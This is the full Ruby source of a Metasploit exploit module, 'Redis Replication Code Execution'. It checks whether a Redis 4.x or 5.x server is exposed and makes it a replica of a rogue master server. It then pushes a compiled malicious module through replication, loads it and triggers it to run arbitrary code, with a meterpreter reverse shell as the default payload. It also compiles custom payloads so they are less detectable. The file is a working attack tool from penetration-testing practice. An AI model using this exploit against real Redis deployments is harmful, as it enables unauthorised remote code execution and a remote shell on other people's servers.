298 lines
8.9 KiB
Ruby
298 lines
8.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Auxiliary::Redis
|
|
include Msf::Module::Deprecated
|
|
|
|
moved_from "exploit/linux/redis/redis_unauth_exec"
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Redis Replication Code Execution',
|
|
'Description' => %q{
|
|
This module can be used to leverage the extension functionality added since Redis 4.0.0
|
|
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
|
|
which called replication between master and slave.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
|
|
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
|
|
],
|
|
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Targets' =>
|
|
[
|
|
['Automatic', {} ],
|
|
],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'SRVPORT' => '6379'
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2018-11-13',
|
|
'DefaultTarget' => 0,
|
|
'Notes' =>
|
|
{
|
|
'Stability' => [ SERVICE_RESOURCE_LOSS],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
|
|
},
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6379),
|
|
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
|
|
]
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
|
|
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
|
|
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
|
|
]
|
|
)
|
|
deregister_options('URIPATH', 'THREADS', 'SSLCert')
|
|
end
|
|
|
|
#
|
|
# Now tested on redis 4.x and 5.x
|
|
#
|
|
def check
|
|
connect
|
|
# they are only vulnerable if we can run the CONFIG command, so try that
|
|
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
|
|
|
|
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
|
|
report_redis(redis_version)
|
|
end
|
|
|
|
unless redis_version
|
|
print_error('Cannot retrieve redis version, please check it manually')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
# Only vulnerable to version 4.x or 5.x
|
|
version = Rex::Version.new(redis_version)
|
|
if version >= Rex::Version.new('4.0.0')
|
|
vprint_status("Redis version is #{redis_version}")
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def has_check?
|
|
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
|
|
end
|
|
|
|
def exploit
|
|
if check_custom
|
|
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
|
|
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
|
|
else
|
|
@module_init_name = 'shell'
|
|
@module_cmd = 'shell.exec'
|
|
end
|
|
|
|
if srvhost == '0.0.0.0'
|
|
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
|
|
end
|
|
|
|
#
|
|
# Prepare for payload.
|
|
#
|
|
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
|
|
# It's only worked on linux system.
|
|
#
|
|
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
|
|
#
|
|
if check_custom
|
|
buf = create_payload
|
|
generate_code_file(buf)
|
|
compile_payload
|
|
end
|
|
|
|
connect
|
|
|
|
#
|
|
# Send the payload.
|
|
#
|
|
redis_command('SLAVEOF', srvhost, srvport.to_s)
|
|
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
|
|
::IO.select(nil, nil, nil, 2.0)
|
|
|
|
# start the rogue server
|
|
start_rogue_server
|
|
# waiting for victim to receive the payload.
|
|
Rex.sleep(1)
|
|
redis_command('MODULE', 'LOAD', "./#{module_file}")
|
|
redis_command('SLAVEOF', 'NO', 'ONE')
|
|
|
|
# Trigger it.
|
|
print_status('Sending command to trigger payload.')
|
|
pull_the_trigger
|
|
|
|
# Clean up
|
|
Rex.sleep(2)
|
|
register_file_for_cleanup("./#{module_file}")
|
|
#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
|
|
#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
|
|
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
#
|
|
# We pretend to be a real redis server, and then slave the victim.
|
|
#
|
|
def start_rogue_server
|
|
begin
|
|
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
|
|
print_status("Listening on #{srvhost}:#{srvport}")
|
|
rescue Rex::BindFailed
|
|
print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
|
|
print_status("Listening on 0.0.0.0:#{srvport}")
|
|
socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})
|
|
end
|
|
|
|
rsock = socket.accept()
|
|
vprint_status('Accepted a connection')
|
|
|
|
# Start negotiation
|
|
while true
|
|
request = rsock.read(1024)
|
|
vprint_status("in<<< #{request.inspect}")
|
|
response = ""
|
|
finish = false
|
|
|
|
case
|
|
when request.include?('PING')
|
|
response = "+PONG\r\n"
|
|
when request.include?('REPLCONF')
|
|
response = "+OK\r\n"
|
|
when request.include?('PSYNC') || request.include?('SYNC')
|
|
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
|
|
response << "$#{payload_bin.length}\r\n"
|
|
response << "#{payload_bin}\r\n"
|
|
finish = true
|
|
end
|
|
|
|
if response.length < 200
|
|
vprint_status("out>>> #{response.inspect}")
|
|
else
|
|
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
|
|
end
|
|
|
|
rsock.put(response)
|
|
|
|
if finish
|
|
print_status('Rogue server close...')
|
|
rsock.close()
|
|
socket.close()
|
|
break
|
|
end
|
|
end
|
|
end
|
|
|
|
def pull_the_trigger
|
|
if check_custom
|
|
redis_command("#{@module_cmd}")
|
|
else
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
#
|
|
# Parpare command stager for the pre-compiled payload.
|
|
# And the command of module is hard-coded.
|
|
#
|
|
def execute_command(cmd, opts = {})
|
|
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
|
|
end
|
|
|
|
#
|
|
# Generate source code file of payload to be compiled dynamicly.
|
|
#
|
|
def generate_code_file(buf)
|
|
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
|
|
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
|
|
end
|
|
|
|
def compile_payload
|
|
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
|
|
vprint_status("Clean old files")
|
|
vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
|
|
vprint_status(%x|make -C #{File.dirname(make_file)} clean|)
|
|
|
|
print_status('Compile redis module extension file')
|
|
res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
|
|
if res.include? 'true'
|
|
print_good("Payload generated successfully! ")
|
|
else
|
|
print_error(res)
|
|
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
|
|
end
|
|
end
|
|
|
|
#
|
|
# check the environment for compile payload to so file.
|
|
#
|
|
def check_env
|
|
# check if linux
|
|
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
|
|
# check if gcc installed
|
|
return false unless %x|command -v gcc && echo true|.include? "true"
|
|
# check if ld installed
|
|
return false unless %x|command -v ld && echo true|.include? "true"
|
|
|
|
true
|
|
end
|
|
|
|
def check_custom
|
|
return @custom_payload if @custom_payload
|
|
|
|
@custom_payload = false
|
|
@custom_payload = true if check_env && datastore['CUSTOM']
|
|
|
|
@custom_payload
|
|
end
|
|
|
|
def module_file
|
|
return @module_file if @module_file
|
|
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
|
|
end
|
|
|
|
def create_payload
|
|
p = payload.encoded
|
|
Msf::Simple::Buffer.transform(p, 'c', 'buf')
|
|
end
|
|
|
|
def payload_bin
|
|
return @payload_bin if @payload_bin
|
|
if check_custom
|
|
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
|
|
else
|
|
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
|
|
end
|
|
@payload_bin
|
|
end
|
|
end
|